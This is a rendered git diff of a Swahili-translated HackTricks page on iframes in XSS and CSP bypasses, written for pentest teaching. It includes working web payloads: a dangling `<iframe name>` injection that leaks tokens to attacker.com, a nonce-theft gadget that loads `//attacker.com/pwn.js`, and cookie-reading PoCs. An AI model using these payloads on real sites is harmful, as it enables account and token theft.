mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-
This commit is contained in:
		
							parent
							
								
									15dfd0bd81
								
							
						
					
					
						commit
						8054289eb2
					
				@ -45,7 +45,7 @@ var secret = "child secret"
 | 
				
			|||||||
alert(parent.secret)
 | 
					alert(parent.secret)
 | 
				
			||||||
</script>
 | 
					</script>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
Ikiwa utafungua html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia `secret` var ndani ya iframe yoyote** na **ni iframes if2 & if3 tu (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
 | 
					Ikiwa unapata html ya awali kupitia seva ya http (kama `python3 -m http.server`) utaona kwamba skripti zote zitatekelezwa (kama hakuna CSP inayozuia). **mzazi hataweza kufikia var `secret` ndani ya iframe yoyote** na **ni iframes if2 & if3 pekee (ambazo zinachukuliwa kuwa za tovuti moja) zinaweza kufikia siri** katika dirisha la asili.\
 | 
				
			||||||
Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
 | 
					Tazama jinsi if4 inachukuliwa kuwa na asili `null`.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 | 
					### Iframes na CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
 | 
				
			||||||
@ -61,7 +61,7 @@ Kwa hivyo inawezekana kupita CSP ya ukurasa kwa:
 | 
				
			|||||||
<head>
 | 
					<head>
 | 
				
			||||||
<meta
 | 
					<meta
 | 
				
			||||||
http-equiv="Content-Security-Policy"
 | 
					http-equiv="Content-Security-Policy"
 | 
				
			||||||
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
 | 
					content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
 | 
				
			||||||
</head>
 | 
					</head>
 | 
				
			||||||
<script>
 | 
					<script>
 | 
				
			||||||
var secret = "31337s3cr37t"
 | 
					var secret = "31337s3cr37t"
 | 
				
			||||||
@ -81,9 +81,9 @@ Hata hivyo, **ni `if1` na `if2` tu ambazo zitatekelezwa lakini ni `if1` pekee it
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
.png>)
 | 
					.png>)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia mwisho wa JSONP wa same-site**.
 | 
					Kwa hivyo, inawezekana **kuzidi CSP ikiwa unaweza kupakia faili ya JS kwenye seva na kuipakia kupitia iframe hata na `script-src 'none'`**. Hii inaweza **pia kufanywa kwa kutumia kipengele cha JSONP cha same-site**.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Unaweza kujaribu hii na hali ifuatayo ambapo cookie inanyang'anywa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
 | 
					Unaweza kujaribu hii na hali ifuatayo ambapo cookie inakuliwa hata na `script-src 'none'`. Endesha tu programu na uifungue na kivinjari chako:
 | 
				
			||||||
```python
 | 
					```python
 | 
				
			||||||
import flask
 | 
					import flask
 | 
				
			||||||
from flask import Flask
 | 
					from flask import Flask
 | 
				
			||||||
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
 | 
				
			|||||||
if __name__ == "__main__":
 | 
					if __name__ == "__main__":
 | 
				
			||||||
app.run()
 | 
					app.run()
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Payloads Nyingine Zilizopatikana Katika Mwitu <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
 | 
					#### Mbinu mpya za CSP bypass (2023-2025) zikiwa na iframes
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Jamii ya utafiti inaendelea kugundua njia za ubunifu za kutumia iframes ili kushinda sera za kikomo. Hapa chini unaweza kupata mbinu zinazojulikana zaidi zilizochapishwa katika miaka michache iliyopita:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** – Wakati programu inareflect HTML lakini CSP kali inazuia utekelezaji wa script, bado unaweza kuvuja tokens nyeti kwa kuingiza *dangling* `<iframe name>` attribute. Mara tu markup ya sehemu inaposindika, script ya mshambuliaji inayotembea katika chanzo tofauti inapeleka frame kwa `about:blank` na kusoma `window.name`, ambayo sasa ina kila kitu hadi herufi ya nukuu inayofuata (kwa mfano token ya CSRF). Kwa sababu hakuna JavaScript inayotembea katika muktadha wa mwathirika, shambulio kwa kawaida linakwepa `script-src 'none'`. PoC ndogo ni:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```html
 | 
				
			||||||
 | 
					<!-- Injection point just before a sensitive <script> -->
 | 
				
			||||||
 | 
					<iframe name="//attacker.com/?">  <!-- attribute intentionally left open -->
 | 
				
			||||||
 | 
					````
 | 
				
			||||||
 | 
					```javascript
 | 
				
			||||||
 | 
					// attacker.com frame
 | 
				
			||||||
 | 
					const victim = window.frames[0];
 | 
				
			||||||
 | 
					victim.location = 'about:blank';
 | 
				
			||||||
 | 
					console.log(victim.name); // → leaked value
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Nonce theft via same-origin iframe (2024)** – CSP nonces haziondolewa kutoka DOM; zinafichwa tu katika DevTools. Ikiwa mshambuliaji anaweza kuingiza iframe ya *same-origin* (kwa mfano kwa kupakia HTML kwenye tovuti) frame ya mtoto inaweza kuuliza tu `document.querySelector('[nonce]').nonce` na kuunda nodi mpya za `<script nonce>` zinazokidhi sera, ikitoa utekelezaji kamili wa JavaScript licha ya `strict-dynamic`. Gadget ifuatayo inainua kuingizwa kwa markup kuwa XSS:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					```javascript
 | 
				
			||||||
 | 
					const n = top.document.querySelector('[nonce]').nonce;
 | 
				
			||||||
 | 
					const s = top.document.createElement('script');
 | 
				
			||||||
 | 
					s.src = '//attacker.com/pwn.js';
 | 
				
			||||||
 | 
					s.nonce = n;
 | 
				
			||||||
 | 
					top.document.body.appendChild(s);
 | 
				
			||||||
 | 
					```
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* **Form-action hijacking (PortSwigger 2024)** – Ukurasa unaoacha mwelekeo wa `form-action` unaweza kuwa na fomu ya kuingia *re-targeted* kutoka iframe iliyoungizwa au HTML ya ndani ili wasimamizi wa nywila kujaza kiotomatiki na kuwasilisha akidi kwa kikoa cha nje, hata wakati `script-src 'none'` ipo. Daima kamilisha `default-src` na `form-action`!
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					**Maelezo ya kujihami (orodha ya haraka)**
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					1. Daima tuma *yote* CSP directives zinazodhibiti muktadha wa pili (`form-action`, `frame-src`, `child-src`, `object-src`, nk.).
 | 
				
			||||||
 | 
					2. Usitegemee nonces kuwa siri—tumia `strict-dynamic` **na** ondolea maeneo ya kuingiza.
 | 
				
			||||||
 | 
					3. Unapolazimika kuingiza nyaraka zisizoaminika tumia `sandbox="allow-scripts allow-same-origin"` **kwa uangalifu sana** (au bila `allow-same-origin` ikiwa unahitaji tu kutengwa kwa utekelezaji wa script).
 | 
				
			||||||
 | 
					4. Fikiria kutekeleza ulinzi wa kina wa COOP+COEP; sifa mpya ya `<iframe credentialless>` (§ hapa chini) inakuruhusu kufanya hivyo bila kuvunja embeds za wahusika wengine.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					### Payloads Nyingine zilizopatikana porini <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<!-- This one requires the data: scheme to be allowed -->
 | 
					<!-- This one requires the data: scheme to be allowed -->
 | 
				
			||||||
<iframe
 | 
					<iframe
 | 
				
			||||||
@ -128,20 +164,28 @@ Wakati inapotumika, sifa ya `sandbox` inaweka vizuizi kadhaa:
 | 
				
			|||||||
- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
 | 
					- Inazuia viungo kuingiliana na muktadha mwingine wa kuvinjari.
 | 
				
			||||||
- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
 | 
					- Matumizi ya plugins kupitia `<embed>`, `<object>`, `<applet>`, au lebo zinazofanana yanakatazwa.
 | 
				
			||||||
- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
 | 
					- Usafiri wa muktadha wa juu wa kuvinjari wa maudhui yenyewe unazuiliwa.
 | 
				
			||||||
- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji wa video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
 | 
					- Vipengele vinavyosababishwa kiotomatiki, kama vile upigaji video au kuzingatia kiotomatiki kwa udhibiti wa fomu, vinazuiwa.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotenganishwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
 | 
					Tip: Mablazaji ya kisasa yanasaidia bendera za granular kama `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, nk. Changanya hizo ili kutoa tu uwezo wa chini unaohitajika na programu iliyowekwa.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					Thamani ya sifa inaweza kuachwa kuwa tupu (`sandbox=""`) ili kuweka vizuizi vyote vilivyotajwa hapo juu. Vinginevyo, inaweza kuwekwa kwenye orodha ya thamani maalum zilizotengwa kwa nafasi ambazo zinatoa msamaha kwa iframe kutoka kwa vizuizi fulani.
 | 
				
			||||||
```html
 | 
					```html
 | 
				
			||||||
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
 | 
					<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
 | 
				
			||||||
 | 
					<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
### Credentialless iframes
 | 
					### Iframes zisizo na akreditivu
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Kama ilivyoelezwa katika [this article](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera ya `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akidi katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakwa ndani ya iframe.
 | 
					Kama ilivyoelezwa katika [hiki kifungu](https://blog.slonser.info/posts/make-self-xss-great-again/), bendera `credentialless` katika iframe inatumika kupakia ukurasa ndani ya iframe bila kutuma akreditivu katika ombi huku ikihifadhi sera ya asili sawa (SOP) ya ukurasa ulio pakuliwa ndani ya iframe.
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Hii inaruhusu iframe kufikia taarifa nyeti kutoka iframe nyingine katika SOP sawa iliyopakiwa kwenye ukurasa wa mzazi:
 | 
					Tangu **Chrome 110 (Februari 2023 kipengele hiki kimewezeshwa kwa default** na kiwango kinastandariswa kati ya vivinjari chini ya jina *anonymous iframe*. MDN inaelezea kama: “mekanismu ya kupakia iframes za wahusika wengine katika sehemu mpya ya kuhifadhi ya muda ili kwamba hakuna vidakuzi, localStorage au IndexedDB vinavyoshirikiwa na asili halisi”. Matokeo kwa washambuliaji na walinzi:
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* Skripti katika iframes tofauti zisizo na akreditivu **bado zinashiriki asili ya kiwango cha juu** na zinaweza kuingiliana kwa uhuru kupitia DOM, kufanya mashambulizi ya multi-iframe self-XSS kuwa yawezekana (tazama PoC hapa chini).
 | 
				
			||||||
 | 
					* Kwa sababu mtandao ni **credential-stripped**, ombi lolote ndani ya iframe linatenda kama kikao kisichothibitishwa – maeneo yaliyolindwa na CSRF kwa kawaida yanashindwa, lakini kurasa za umma zinazoweza kuvuja kupitia DOM bado ziko ndani ya wigo.
 | 
				
			||||||
 | 
					* Pop-ups zinazozalishwa kutoka iframe isiyo na akreditivu hupata `rel="noopener"` isiyo ya moja kwa moja, ikivunja baadhi ya mchakato wa OAuth.
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
window.top[1].document.body.innerHTML = 'Hi from credentialless';
 | 
					// PoC: two same-origin credentialless iframes stealing cookies set by a third
 | 
				
			||||||
alert(window.top[1].document.cookie);
 | 
					window.top[1].document.cookie = 'foo=bar';            // write
 | 
				
			||||||
 | 
					alert(window.top[2].document.cookie);                 // read -> foo=bar
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
- Mfano wa unyakuzi: Self-XSS + CSRF
 | 
					- Mfano wa unyakuzi: Self-XSS + CSRF
 | 
				
			||||||
 | 
					
 | 
				
			||||||
@ -165,7 +209,7 @@ document.forms[0].submit();
 | 
				
			|||||||
 | 
					
 | 
				
			||||||
- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
 | 
					- Iframe nyingine ambayo kwa kweli ina mtumiaji aliyeingia (bila bendera ya `credentialless`).
 | 
				
			||||||
 | 
					
 | 
				
			||||||
Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba kidaku kwa mfano kwa kutekeleza:
 | 
					Kisha, kutoka kwenye XSS inawezekana kufikia iframe nyingine kwani zina SOP sawa na kuiba cookie kwa mfano kwa kutekeleza:
 | 
				
			||||||
```javascript
 | 
					```javascript
 | 
				
			||||||
alert(window.top[1].document.cookie);
 | 
					alert(window.top[1].document.cookie);
 | 
				
			||||||
```
 | 
					```
 | 
				
			||||||
@ -201,4 +245,10 @@ Angalia kurasa zifuatazo:
 | 
				
			|||||||
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
 | 
					../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
 | 
				
			||||||
{{#endref}}
 | 
					{{#endref}}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					## Marejeo
 | 
				
			||||||
 | 
					
 | 
				
			||||||
 | 
					* [PortSwigger Research – Kutumia hijacking ya fomu kupita CSP (Machi 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
 | 
				
			||||||
 | 
					* [Chrome Developers – Iframe bila akreditivu: Rahisi kuingiza iframes katika mazingira ya COEP (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
 | 
				
			||||||
{{#include ../../banners/hacktricks-training.md}}
 | 
					{{#include ../../banners/hacktricks-training.md}}
 | 
				
			||||||
 | 
				
			|||||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user